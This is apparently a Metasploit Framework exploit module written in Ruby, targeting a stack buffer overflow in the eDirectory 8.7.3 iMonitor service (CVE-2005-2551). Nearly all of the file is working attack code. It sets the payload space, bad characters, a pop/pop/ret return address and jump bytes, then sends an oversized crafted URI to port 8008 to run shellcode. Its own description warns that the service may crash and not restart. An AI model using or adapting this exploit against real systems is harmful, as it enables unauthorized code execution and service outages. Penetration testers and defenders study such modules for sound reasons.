82 lines
2.1 KiB
Ruby
82 lines
2.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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HttpFingerprint = { :pattern => [ /DHost\//, /HttpStk\// ] } # custom port
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in eDirectory 8.7.3
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iMonitor service. This vulnerability was discovered by Peter
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Winter-Smith of NGSSoftware.
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NOTE: repeated exploitation attempts may cause eDirectory to crash. It does
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not restart automatically in a default installation.
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},
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'Author' => [ 'anonymous', 'Matt Olney <scacynwrig[at]yahoo.com>' ],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2005-2551'],
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[ 'OSVDB', '18703'],
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[ 'BID', '14548'],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 4150,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret
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],
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'DisclosureDate' => 'Aug 11 2005',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8008)
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], self.class)
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end
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def exploit
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c = connect
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# pop/pop/ret in ndsimon.dlm on our jump to our shellcode
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uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V')
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uri << "\xe9\xbd\xef\xff\xff"
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uri << "B" * 0xD0
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res = c.send_request(c.request_raw({ 'uri' => uri }))
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select(nil,nil,nil,4)
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handler
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disconnect
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end
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end
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